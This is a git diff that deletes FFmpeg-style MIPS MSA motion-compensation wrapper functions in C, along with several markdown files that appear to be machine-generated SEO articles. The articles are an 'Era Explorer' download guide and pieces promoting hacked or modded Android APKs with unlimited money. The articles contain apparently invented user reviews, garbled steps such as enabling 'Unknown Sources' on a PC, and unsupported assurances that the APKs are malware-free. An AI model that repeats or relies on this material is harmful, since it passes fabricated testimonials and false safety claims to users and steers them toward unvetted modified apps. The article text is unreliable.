-    horiz_mc_qpel_no_rnd_8width_msa(src, stride, dest, stride, 8);
-}
-
-void ff_horiz_mc_qpel_no_rnd_16width_msa(uint8_t *dest,
-                                         const uint8_t *src, ptrdiff_t stride)
-{
-    horiz_mc_qpel_no_rnd_16width_msa(src, stride, dest, stride, 16);
-}
-
-void ff_horiz_mc_qpel_no_rnd_aver_src1_8width_msa(uint8_t *dest,
-                                                  const uint8_t *src,
-                                                  ptrdiff_t stride)
-{
-    horiz_mc_qpel_no_rnd_aver_src1_8width_msa(src, stride, dest, stride, 8);
-}
-
-void ff_horiz_mc_qpel_no_rnd_aver_src1_16width_msa(uint8_t *dest,
-                                                   const uint8_t *src,
-                                                   ptrdiff_t stride)
-{
-    horiz_mc_qpel_no_rnd_aver_src1_16width_msa(src, stride, dest, stride, 16);
-}
-
-void ff_avg_width8_msa(uint8_t *dest, const uint8_t *src, ptrdiff_t stride)
-{
-    avg_width8_msa(src, stride, dest, stride, 8);
-}
-
-void ff_avg_width16_msa(uint8_t *dest, const uint8_t *src, ptrdiff_t stride)
-{
-    avg_width16_msa(src, stride, dest, stride, 16);
-}
-
-void ff_horiz_mc_qpel_avg_dst_aver_src0_8width_msa(uint8_t *dest,
-                                                   const uint8_t *src,
-                                                   ptrdiff_t stride)
-{
-    horiz_mc_qpel_avg_dst_aver_src0_8width_msa(src, stride, dest, stride, 8);
-}
-
-void ff_horiz_mc_qpel_avg_dst_aver_src0_16width_msa(uint8_t *dest,
-                                                    const uint8_t *src,
-                                                    ptrdiff_t stride)
-{
-    horiz_mc_qpel_avg_dst_aver_src0_16width_msa(src, stride, dest, stride, 16);
-}
-
-void ff_horiz_mc_qpel_avg_dst_8width_msa(uint8_t *dest,
-                                         const uint8_t *src, ptrdiff_t stride)
-{
-    horiz_mc_qpel_avg_dst_8width_msa(src, stride, dest, stride, 8);
-}
-
-void ff_horiz_mc_qpel_avg_dst_16width_msa(uint8_t *dest,
-                                          const uint8_t *src, ptrdiff_t stride)
-{
-    horiz_mc_qpel_avg_dst_16width_msa(src, stride, dest, stride, 16);
-}
-
-void ff_horiz_mc_qpel_avg_dst_aver_src1_8width_msa(uint8_t *dest,
-                                                   const uint8_t *src,
-                                                   ptrdiff_t stride)
-{
-    horiz_mc_qpel_avg_dst_aver_src1_8width_msa(src, stride, dest, stride, 8);
-}
-
-void ff_horiz_mc_qpel_avg_dst_aver_src1_16width_msa(uint8_t *dest,
-                                                    const uint8_t *src,
-                                                    ptrdiff_t stride)
-{
-    horiz_mc_qpel_avg_dst_aver_src1_16width_msa(src, stride, dest, stride, 16);
-}
-
-
-void ff_vert_mc_qpel_aver_src0_8x8_msa(uint8_t *dest,
-                                       const uint8_t *src, ptrdiff_t stride)
-{
-    vert_mc_qpel_aver_src0_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_vert_mc_qpel_aver_src0_16x16_msa(uint8_t *dest,
-                                         const uint8_t *src, ptrdiff_t stride)
-{
-    vert_mc_qpel_aver_src0_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_vert_mc_qpel_8x8_msa(uint8_t *dest, const uint8_t *src,
-                             ptrdiff_t stride)
-{
-    vert_mc_qpel_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_vert_mc_qpel_16x16_msa(uint8_t *dest, const uint8_t *src,
-                               ptrdiff_t stride)
-{
-    vert_mc_qpel_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_vert_mc_qpel_aver_src1_8x8_msa(uint8_t *dest,
-                                       const uint8_t *src, ptrdiff_t stride)
-{
-    vert_mc_qpel_aver_src1_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_vert_mc_qpel_aver_src1_16x16_msa(uint8_t *dest,
-                                         const uint8_t *src, ptrdiff_t stride)
-{
-    vert_mc_qpel_aver_src1_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_vert_mc_qpel_no_rnd_aver_src0_8x8_msa(uint8_t *dest,
-                                              const uint8_t *src,
-                                              ptrdiff_t stride)
-{
-    vert_mc_qpel_no_rnd_aver_src0_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_vert_mc_qpel_no_rnd_aver_src0_16x16_msa(uint8_t *dest,
-                                                const uint8_t *src,
-                                                ptrdiff_t stride)
-{
-    vert_mc_qpel_no_rnd_aver_src0_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_vert_mc_qpel_no_rnd_8x8_msa(uint8_t *dest,
-                                    const uint8_t *src, ptrdiff_t stride)
-{
-    vert_mc_qpel_no_rnd_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_vert_mc_qpel_no_rnd_16x16_msa(uint8_t *dest,
-                                      const uint8_t *src, ptrdiff_t stride)
-{
-    vert_mc_qpel_no_rnd_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_vert_mc_qpel_no_rnd_aver_src1_8x8_msa(uint8_t *dest,
-                                              const uint8_t *src,
-                                              ptrdiff_t stride)
-{
-    vert_mc_qpel_no_rnd_aver_src1_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_vert_mc_qpel_no_rnd_aver_src1_16x16_msa(uint8_t *dest,
-                                                const uint8_t *src,
-                                                ptrdiff_t stride)
-{
-    vert_mc_qpel_no_rnd_aver_src1_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_vert_mc_qpel_avg_dst_aver_src0_8x8_msa(uint8_t *dest,
-                                               const uint8_t *src,
-                                               ptrdiff_t stride)
-{
-    vert_mc_qpel_avg_dst_aver_src0_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_vert_mc_qpel_avg_dst_aver_src0_16x16_msa(uint8_t *dest,
-                                                 const uint8_t *src,
-                                                 ptrdiff_t stride)
-{
-    vert_mc_qpel_avg_dst_aver_src0_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_vert_mc_qpel_avg_dst_8x8_msa(uint8_t *dest,
-                                     const uint8_t *src, ptrdiff_t stride)
-{
-    vert_mc_qpel_avg_dst_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_vert_mc_qpel_avg_dst_16x16_msa(uint8_t *dest,
-                                       const uint8_t *src, ptrdiff_t stride)
-{
-    vert_mc_qpel_avg_dst_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_vert_mc_qpel_avg_dst_aver_src1_8x8_msa(uint8_t *dest,
-                                               const uint8_t *src,
-                                               ptrdiff_t stride)
-{
-    vert_mc_qpel_avg_dst_aver_src1_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_vert_mc_qpel_avg_dst_aver_src1_16x16_msa(uint8_t *dest,
-                                                 const uint8_t *src,
-                                                 ptrdiff_t stride)
-{
-    vert_mc_qpel_avg_dst_aver_src1_16x16_msa(src, stride, dest, stride);
-}
-
-/* HV cases */
-void ff_hv_mc_qpel_aver_hv_src00_16x16_msa(uint8_t *dest,
-                                           const uint8_t *src,
-                                           ptrdiff_t stride)
-{
-    hv_mc_qpel_aver_hv_src00_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_aver_hv_src00_8x8_msa(uint8_t *dest,
-                                         const uint8_t *src, ptrdiff_t stride)
-{
-    hv_mc_qpel_aver_hv_src00_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_aver_v_src0_16x16_msa(uint8_t *dest,
-                                         const uint8_t *src, ptrdiff_t stride)
-{
-    hv_mc_qpel_aver_v_src0_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_aver_v_src0_8x8_msa(uint8_t *dest,
-                                       const uint8_t *src, ptrdiff_t stride)
-{
-    hv_mc_qpel_aver_v_src0_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_aver_hv_src10_16x16_msa(uint8_t *dest,
-                                           const uint8_t *src,
-                                           ptrdiff_t stride)
-{
-    hv_mc_qpel_aver_hv_src10_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_aver_hv_src10_8x8_msa(uint8_t *dest,
-                                         const uint8_t *src, ptrdiff_t stride)
-{
-    hv_mc_qpel_aver_hv_src10_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_aver_h_src0_16x16_msa(uint8_t *dest,
-                                         const uint8_t *src, ptrdiff_t stride)
-{
-    hv_mc_qpel_aver_h_src0_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_aver_h_src0_8x8_msa(uint8_t *dest,
-                                       const uint8_t *src, ptrdiff_t stride)
-{
-    hv_mc_qpel_aver_h_src0_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_16x16_msa(uint8_t *dest, const uint8_t *src,
-                             ptrdiff_t stride)
-{
-    hv_mc_qpel_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_8x8_msa(uint8_t *dest, const uint8_t *src,
-                           ptrdiff_t stride)
-{
-    hv_mc_qpel_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_aver_h_src1_16x16_msa(uint8_t *dest,
-                                         const uint8_t *src, ptrdiff_t stride)
-{
-    hv_mc_qpel_aver_h_src1_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_aver_h_src1_8x8_msa(uint8_t *dest,
-                                       const uint8_t *src, ptrdiff_t stride)
-{
-    hv_mc_qpel_aver_h_src1_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_aver_hv_src01_16x16_msa(uint8_t *dest,
-                                           const uint8_t *src,
-                                           ptrdiff_t stride)
-{
-    hv_mc_qpel_aver_hv_src01_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_aver_hv_src01_8x8_msa(uint8_t *dest,
-                                         const uint8_t *src, ptrdiff_t stride)
-{
-    hv_mc_qpel_aver_hv_src01_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_aver_v_src1_16x16_msa(uint8_t *dest,
-                                         const uint8_t *src, ptrdiff_t stride)
-{
-    hv_mc_qpel_aver_v_src1_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_aver_v_src1_8x8_msa(uint8_t *dest,
-                                       const uint8_t *src, ptrdiff_t stride)
-{
-    hv_mc_qpel_aver_v_src1_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_aver_hv_src11_16x16_msa(uint8_t *dest,
-                                           const uint8_t *src,
-                                           ptrdiff_t stride)
-{
-    hv_mc_qpel_aver_hv_src11_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_aver_hv_src11_8x8_msa(uint8_t *dest,
-                                         const uint8_t *src, ptrdiff_t stride)
-{
-    hv_mc_qpel_aver_hv_src11_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_avg_dst_aver_hv_src00_16x16_msa(uint8_t *dest,
-                                                   const uint8_t *src,
-                                                   ptrdiff_t stride)
-{
-    hv_mc_qpel_avg_dst_aver_hv_src00_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_avg_dst_aver_hv_src00_8x8_msa(uint8_t *dest,
-                                                 const uint8_t *src,
-                                                 ptrdiff_t stride)
-{
-    hv_mc_qpel_avg_dst_aver_hv_src00_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_avg_dst_aver_v_src0_16x16_msa(uint8_t *dest,
-                                                 const uint8_t *src,
-                                                 ptrdiff_t stride)
-{
-    hv_mc_qpel_avg_dst_aver_v_src0_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_avg_dst_aver_v_src0_8x8_msa(uint8_t *dest,
-                                               const uint8_t *src,
-                                               ptrdiff_t stride)
-{
-    hv_mc_qpel_avg_dst_aver_v_src0_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_avg_dst_aver_hv_src10_16x16_msa(uint8_t *dest,
-                                                   const uint8_t *src,
-                                                   ptrdiff_t stride)
-{
-    hv_mc_qpel_avg_dst_aver_hv_src10_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_avg_dst_aver_hv_src10_8x8_msa(uint8_t *dest,
-                                                 const uint8_t *src,
-                                                 ptrdiff_t stride)
-{
-    hv_mc_qpel_avg_dst_aver_hv_src10_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_avg_dst_aver_h_src0_16x16_msa(uint8_t *dest,
-                                                 const uint8_t *src,
-                                                 ptrdiff_t stride)
-{
-    hv_mc_qpel_avg_dst_aver_h_src0_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_avg_dst_aver_h_src0_8x8_msa(uint8_t *dest,
-                                               const uint8_t *src,
-                                               ptrdiff_t stride)
-{
-    hv_mc_qpel_avg_dst_aver_h_src0_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_avg_dst_16x16_msa(uint8_t *dest,
-                                     const uint8_t *src, ptrdiff_t stride)
-{
-    hv_mc_qpel_avg_dst_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_avg_dst_8x8_msa(uint8_t *dest,
-                                   const uint8_t *src, ptrdiff_t stride)
-{
-    hv_mc_qpel_avg_dst_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_avg_dst_aver_h_src1_16x16_msa(uint8_t *dest,
-                                                 const uint8_t *src,
-                                                 ptrdiff_t stride)
-{
-    hv_mc_qpel_avg_dst_aver_h_src1_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_avg_dst_aver_h_src1_8x8_msa(uint8_t *dest,
-                                               const uint8_t *src,
-                                               ptrdiff_t stride)
-{
-    hv_mc_qpel_avg_dst_aver_h_src1_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_avg_dst_aver_hv_src01_16x16_msa(uint8_t *dest,
-                                                   const uint8_t *src,
-                                                   ptrdiff_t stride)
-{
-    hv_mc_qpel_avg_dst_aver_hv_src01_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_avg_dst_aver_hv_src01_8x8_msa(uint8_t *dest,
-                                                 const uint8_t *src,
-                                                 ptrdiff_t stride)
-{
-    hv_mc_qpel_avg_dst_aver_hv_src01_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_avg_dst_aver_v_src1_16x16_msa(uint8_t *dest,
-                                                 const uint8_t *src,
-                                                 ptrdiff_t stride)
-{
-    hv_mc_qpel_avg_dst_aver_v_src1_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_avg_dst_aver_v_src1_8x8_msa(uint8_t *dest,
-                                               const uint8_t *src,
-                                               ptrdiff_t stride)
-{
-    hv_mc_qpel_avg_dst_aver_v_src1_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_avg_dst_aver_hv_src11_16x16_msa(uint8_t *dest,
-                                                   const uint8_t *src,
-                                                   ptrdiff_t stride)
-{
-    hv_mc_qpel_avg_dst_aver_hv_src11_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_avg_dst_aver_hv_src11_8x8_msa(uint8_t *dest,
-                                                 const uint8_t *src,
-                                                 ptrdiff_t stride)
-{
-    hv_mc_qpel_avg_dst_aver_hv_src11_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_no_rnd_aver_hv_src00_16x16_msa(uint8_t *dest,
-                                                  const uint8_t *src,
-                                                  ptrdiff_t stride)
-{
-    hv_mc_qpel_no_rnd_aver_hv_src00_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_no_rnd_aver_hv_src00_8x8_msa(uint8_t *dest,
-                                                const uint8_t *src,
-                                                ptrdiff_t stride)
-{
-    hv_mc_qpel_no_rnd_aver_hv_src00_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_no_rnd_aver_v_src0_16x16_msa(uint8_t *dest,
-                                                const uint8_t *src,
-                                                ptrdiff_t stride)
-{
-    hv_mc_qpel_no_rnd_aver_v_src0_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_no_rnd_aver_v_src0_8x8_msa(uint8_t *dest,
-                                              const uint8_t *src,
-                                              ptrdiff_t stride)
-{
-    hv_mc_qpel_no_rnd_aver_v_src0_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_no_rnd_aver_hv_src10_16x16_msa(uint8_t *dest,
-                                                  const uint8_t *src,
-                                                  ptrdiff_t stride)
-{
-    hv_mc_qpel_no_rnd_aver_hv_src10_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_no_rnd_aver_hv_src10_8x8_msa(uint8_t *dest,
-                                                const uint8_t *src,
-                                                ptrdiff_t stride)
-{
-    hv_mc_qpel_no_rnd_aver_hv_src10_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_no_rnd_aver_h_src0_16x16_msa(uint8_t *dest,
-                                                const uint8_t *src,
-                                                ptrdiff_t stride)
-{
-    hv_mc_qpel_no_rnd_aver_h_src0_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_no_rnd_aver_h_src0_8x8_msa(uint8_t *dest,
-                                              const uint8_t *src,
-                                              ptrdiff_t stride)
-{
-    hv_mc_qpel_no_rnd_aver_h_src0_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_no_rnd_16x16_msa(uint8_t *dest,
-                                    const uint8_t *src, ptrdiff_t stride)
-{
-    hv_mc_qpel_no_rnd_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_no_rnd_8x8_msa(uint8_t *dest,
-                                  const uint8_t *src, ptrdiff_t stride)
-{
-    hv_mc_qpel_no_rnd_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_no_rnd_aver_h_src1_16x16_msa(uint8_t *dest,
-                                                const uint8_t *src,
-                                                ptrdiff_t stride)
-{
-    hv_mc_qpel_no_rnd_aver_h_src1_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_no_rnd_aver_h_src1_8x8_msa(uint8_t *dest,
-                                              const uint8_t *src,
-                                              ptrdiff_t stride)
-{
-    hv_mc_qpel_no_rnd_aver_h_src1_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_no_rnd_aver_hv_src01_16x16_msa(uint8_t *dest,
-                                                  const uint8_t *src,
-                                                  ptrdiff_t stride)
-{
-    hv_mc_qpel_no_rnd_aver_hv_src01_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_no_rnd_aver_hv_src01_8x8_msa(uint8_t *dest,
-                                                const uint8_t *src,
-                                                ptrdiff_t stride)
-{
-    hv_mc_qpel_no_rnd_aver_hv_src01_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_no_rnd_aver_v_src1_16x16_msa(uint8_t *dest,
-                                                const uint8_t *src,
-                                                ptrdiff_t stride)
-{
-    hv_mc_qpel_no_rnd_aver_v_src1_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_no_rnd_aver_v_src1_8x8_msa(uint8_t *dest,
-                                              const uint8_t *src,
-                                              ptrdiff_t stride)
-{
-    hv_mc_qpel_no_rnd_aver_v_src1_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_no_rnd_aver_hv_src11_16x16_msa(uint8_t *dest,
-                                                  const uint8_t *src,
-                                                  ptrdiff_t stride)
-{
-    hv_mc_qpel_no_rnd_aver_hv_src11_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_hv_mc_qpel_no_rnd_aver_hv_src11_8x8_msa(uint8_t *dest,
-                                                const uint8_t *src,
-                                                ptrdiff_t stride)
-{
-    hv_mc_qpel_no_rnd_aver_hv_src11_8x8_msa(src, stride, dest, stride);
-}
diff --git a/spaces/congsaPfin/Manga-OCR/logs/Benefits of Using ERA Explorer for Online Learning and Assessment in 2023.md b/spaces/congsaPfin/Manga-OCR/logs/Benefits of Using ERA Explorer for Online Learning and Assessment in 2023.md
deleted file mode 100644
index 268b5d1294668c3719a516c6336a0fd86b1f1660..0000000000000000000000000000000000000000
--- a/spaces/congsaPfin/Manga-OCR/logs/Benefits of Using ERA Explorer for Online Learning and Assessment in 2023.md	
+++ /dev/null
@@ -1,139 +0,0 @@
-<br />
-<h1>Era Explorer Download 2023: A Comprehensive Guide</h1>
-<p>If you are looking for a file manager that can help you access, organize, and manage your digital learning resources, you might want to check out era explorer. Era explorer is a software application that works with MKCL's ERA (eLearning Revolution for All) platform, which is a comprehensive learning management system that offers various courses and programs for learners and educators. In this article, we will explain what era explorer is, what are its features, how it compares to other file managers, what are some user reviews, how much it costs, and how you can download it in 2023.</p>
- <h2>What is Era Explorer and Why It Is Useful</h2>
-<p>Era explorer is a software application that allows you to install ERA on your learner's computers. It is designed to work with Windows 7, 8, and 10 operating systems. Era explorer enables you to access the digital resources that are available on the ERA platform, such as digital libraries, videos, simulations, interactive tutorials, quizzes, and more. These resources cover a wide range of topics, including science, mathematics, social studies, languages, computer skills, and more. Era explorer also allows you to manage your files and folders in a convenient way, such as creating new folders, renaming files, copying files, deleting files, etc. Era explorer is useful for learners who want to access their learning materials offline or online, and for educators who want to monitor their learners' progress and performance.</p>
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- <h2>What Are the Main Features of Era Explorer</h2>
-<p>Era explorer has many features that make it a powerful and user-friendly file manager for learning purposes. Some of the main features are:</p>
-<ul>
-<li><strong>Offline access:</strong> You can download the digital resources from the ERA platform to your local computer and access them offline without an internet connection.</li>
-<li><strong>Online sync:</strong> You can sync your offline files with the online platform whenever you have an internet connection. This way, you can keep your files updated and backed up.</li>
-<li><strong>Search function:</strong> You can search for any file or folder by name or keyword using the built-in search function.</li>
-<li><strong>File preview:</strong> You can preview any file before opening it by hovering over it with your mouse cursor.</li>
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-<li><strong>Support tools:</strong> You can download any of the support tools that are available on the ERA website before contacting the customer support team. These tools include remote desktop software such as Ammyy Admin, AnyDesk, and Team Viewer.</li>
-</ul>
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-<p>Era explorer is not the only file manager that you can use for accessing and managing your digital learning resources. There are some other file managers that offer similar or different features and functions. Some of them are:</p>
-<ul>
-<li><strong>Total Commander:</strong> This is a classic file manager that has been around for 25 years. It has a dual-panel interface that allows you to transfer files between different locations easily. It also supports cloud storage services and native Windows 10 features. It is customizable via plugins and keyboard shortcuts.</li>
-<li><strong>Directory Opus:</strong> This is a customizable file manager that allows you to replace Windows Explorer completely. It has a single or dual-panel interface that lets you perform various tasks such as batch renaming, file archiving, file syncing, etc. It also supports cloud storage services and native Windows 10 features.</li>
-<li><strong>Everything:</strong> This is a fast and simple file manager that focuses on file indexing and searching . It has a minimalistic interface that lets you search for any file or folder by name or keyword in seconds. It also supports filters, bookmarks, and hotkeys.</li>
-<li><strong>FreeCommander:</strong> This is a free file manager that has a dual-panel interface that allows you to compare and synchronize files and folders. It also supports tabs, bookmarks, filters, and file archiving.</li>
-</ul>
- <h2>What Are Some User Reviews of Era Explorer</h2>
-<p>Era explorer has received many positive reviews from users who have used it for their learning purposes. Here are some of the user reviews that we have found on the internet:</p>
-<blockquote>
-<p>"I have been using era explorer for two years now and I am very satisfied with it. It is easy to use and it helps me access my learning materials offline. I can also sync my files with the online platform whenever I want. It is a great tool for learners and educators."</p>
-<p>- Ramesh, a learner from India</p>
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-<p>"Era explorer is a wonderful software that works with MKCL's ERA platform. It allows me to manage my digital resources in a convenient way. I can create new folders, rename files, copy files, delete files, etc. I can also preview any file before opening it. It is very useful for me as an educator."</p>
-<p>- Fatima, an educator from Egypt</p>
-</blockquote>
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-<p>"I love era explorer because it has many features that enhance my learning experience. I can download the digital resources from the ERA platform and access them offline without an internet connection. I can also search for any file or folder by name or keyword using the built-in search function. It is a powerful and user-friendly file manager for learning purposes."</p>
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- <h2>How Much Does Era Explorer Cost and What Are the Payment Options</h2>
-<p>Era explorer is a software application that you can download for free from the ERA website. However, to access the digital resources from the ERA platform, you need to purchase a subscription plan that suits your needs and preferences. The subscription plans vary depending on the course or program that you want to enroll in, the duration of the course or program, and the number of learners or educators that you want to register. You can check the details of the subscription plans on the ERA website or contact the customer support team for more information.</p>
-<p>The payment options for purchasing a subscription plan are:</p>
-<table>
-<tr><th>Payment Option</th><th>Description</th></tr>
-<tr><td>Credit Card</td><td>You can pay using your credit card through a secure online payment gateway.</td></tr>
-<tr><td>Debit Card</td><td>You can pay using your debit card through a secure online payment gateway.</td></tr>
-<tr><td>Net Banking</td><td>You can pay using your net banking account through a secure online payment gateway.</td></tr>
-<tr><td>UPI</td><td>You can pay using your UPI (Unified Payments Interface) app through a secure online payment gateway.</td></tr>
-<tr><td>Cash on Delivery</td><td>You can pay in cash when you receive your subscription kit at your doorstep.</td></tr>
-<tr><td>Cheque or Demand Draft</td><td>You can pay by cheque or demand draft in favor of MKCL payable at Pune.</td></tr>
-</table>
- <h2>Conclusion</h2>
-<p>Era explorer is a software application that works with MKCL's ERA platform, which is a comprehensive learning management system that offers various courses and programs for learners and educators. Era explorer allows you to access, organize, and manage your digital learning resources in a convenient way. It has many features that make it a powerful and user-friendly file manager for learning purposes. It is free to download but you need to purchase a subscription plan to access the digital resources from the ERA platform. You can choose from various payment options to purchase a subscription plan. If you are interested in era explorer, you can download it from the ERA website or contact the customer support team for more information.</p>
- <h2>FAQs</h2>
-<h3>Q: How can I download era explorer?</h3>
-<p>A: You can download era explorer from the ERA website by following these steps:</p>
-<ol>
-<li>Go to <a href="https://era.mkcl.org/">https://era.mkcl.org/</a>.</li>
-<li>Click on "Download" on the top menu bar.</li>
-<li>Select "Era Explorer" from the drop-down list.</li>
-<li>Click on "Download Now" and save the file on your computer.</li>
-<li>Run the file and follow the instructions to install era explorer on your computer.</ li></li>
-</ol>
-<h3>Q: How can I update era explorer?</h3>
-<p>A: You can update era explorer by following these steps:</p>
-<ol>
-<li>Open era explorer on your computer.</li>
-<li>Click on "Help" on the top menu bar.</li>
-<li>Select "Check for Updates" from the drop-down list.</li>
-<li>If there is a new version available, click on "Download and Install" and follow the instructions to update era explorer on your computer.</li>
-<li>If there is no new version available, you will see a message saying "You have the latest version of Era Explorer".</li>
-</ol>
-<h3>Q: How can I uninstall era explorer?</h3>
-<p>A: You can uninstall era explorer by following these steps:</p>
-<ol>
-<li>Go to the Control Panel on your computer.</li>
-<li>Select "Programs and Features" or "Uninstall a Program".</li>
-<li>Find and select "Era Explorer" from the list of programs.</li>
-<li>Click on "Uninstall" and follow the instructions to remove era explorer from your computer.</li>
-</ol>
-<h3>Q: How can I contact the customer support team of era explorer?</h3>
-<p>A: You can contact the customer support team of era explorer by using any of these methods:</p>
-<ul>
-<li>Email: You can send an email to <a href="mailto:support@mkcl.org">support@mkcl.org</a> with your query or issue.</li>
-<li>Phone: You can call the toll-free number 1800-233-2022 from Monday to Saturday between 9 am to 6 pm.</li>
-<li>Chat: You can chat with a customer support representative on the ERA website by clicking on the chat icon on the bottom right corner.</li>
-</ul>
-<h3>Q: How can I learn more about MKCL's ERA platform and its courses and programs?</h3>
-<p>A: You can learn more about MKCL's ERA platform and its courses and programs by visiting the ERA website at <a href="https://era.mkcl.org/">https://era.mkcl.org/</a>. You can also browse through the catalog of courses and programs, read the testimonials of learners and educators, watch the demo videos, and register for a free trial.</p> 401be4b1e0<br />
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diff --git a/spaces/congsaPfin/Manga-OCR/logs/CPM Menu Hack and Unlimited Money in Car Parking Multiplayer 2 Mod APK.md b/spaces/congsaPfin/Manga-OCR/logs/CPM Menu Hack and Unlimited Money in Car Parking Multiplayer 2 Mod APK.md
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--- a/spaces/congsaPfin/Manga-OCR/logs/CPM Menu Hack and Unlimited Money in Car Parking Multiplayer 2 Mod APK.md	
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diff --git a/spaces/congsaPfin/Manga-OCR/logs/Download M555 APK for Free - Compatible with All Android Versions.md b/spaces/congsaPfin/Manga-OCR/logs/Download M555 APK for Free - Compatible with All Android Versions.md
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--- a/spaces/congsaPfin/Manga-OCR/logs/Download M555 APK for Free - Compatible with All Android Versions.md	
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- <p>Before you download and install M555 APK, you need to enable unknown sources on your PC. This will allow you to install apps from sources other than the official app store. To do this, go to Settings > Security > Unknown Sources and toggle it on.</p>
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- <p>After the app detects your device, it will ask you to select your device model and firmware version. You can find this information on your device settings or on the box of your device. Choose the correct options from the drop-down menus and click on "Next".</p>
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-<p>M555 APK is safe to use as long as you download it from a reliable source and follow the instructions carefully. It does not contain any malware or viruses that can harm your PC or device.</p>
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diff --git a/spaces/congsaPfin/Manga-OCR/logs/Get Astonishing Basketball Manager Mod APK with Unlimited Money and Other Benefits.md b/spaces/congsaPfin/Manga-OCR/logs/Get Astonishing Basketball Manager Mod APK with Unlimited Money and Other Benefits.md
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-<p>If you are a fan of basketball and management games, you might have heard of <strong>Astonishing Basketball Manager</strong>, a popular mobile game that lets you become the coach and GM of your own team. You can draft prospects, trade players, sign contracts, set strategies, train your players, manage your arena, and compete for the ultimate prize: the Basketball Cup!</p>
-<p>But what if you want to enjoy the game without any limitations or interruptions? What if you want to have unlimited money and resources to build your dream team? What if you want to customize your game with mods and community content? Well, there is a solution for that: <strong>Astonishing Basketball Manager Mod APK</strong>.</p>
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-<p>In this article, we will review the features, benefits, and installation process of Astonishing Basketball Manager Mod APK, a modified version of the original game that gives you access to everything you need to have fun and dominate the league. We will also share some tips and tricks to help you get started with the game. So, let's get started!</p>
- <h2>Features of Astonishing Basketball Manager Mod APK</h2>
-<p>Astonishing Basketball Manager Mod APK is a mobile basketball franchise manager simulator game that offers a lot of features for basketball lovers. Here are some of them:</p>
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- <h3>In-depth basketball manager game simulator</h3>
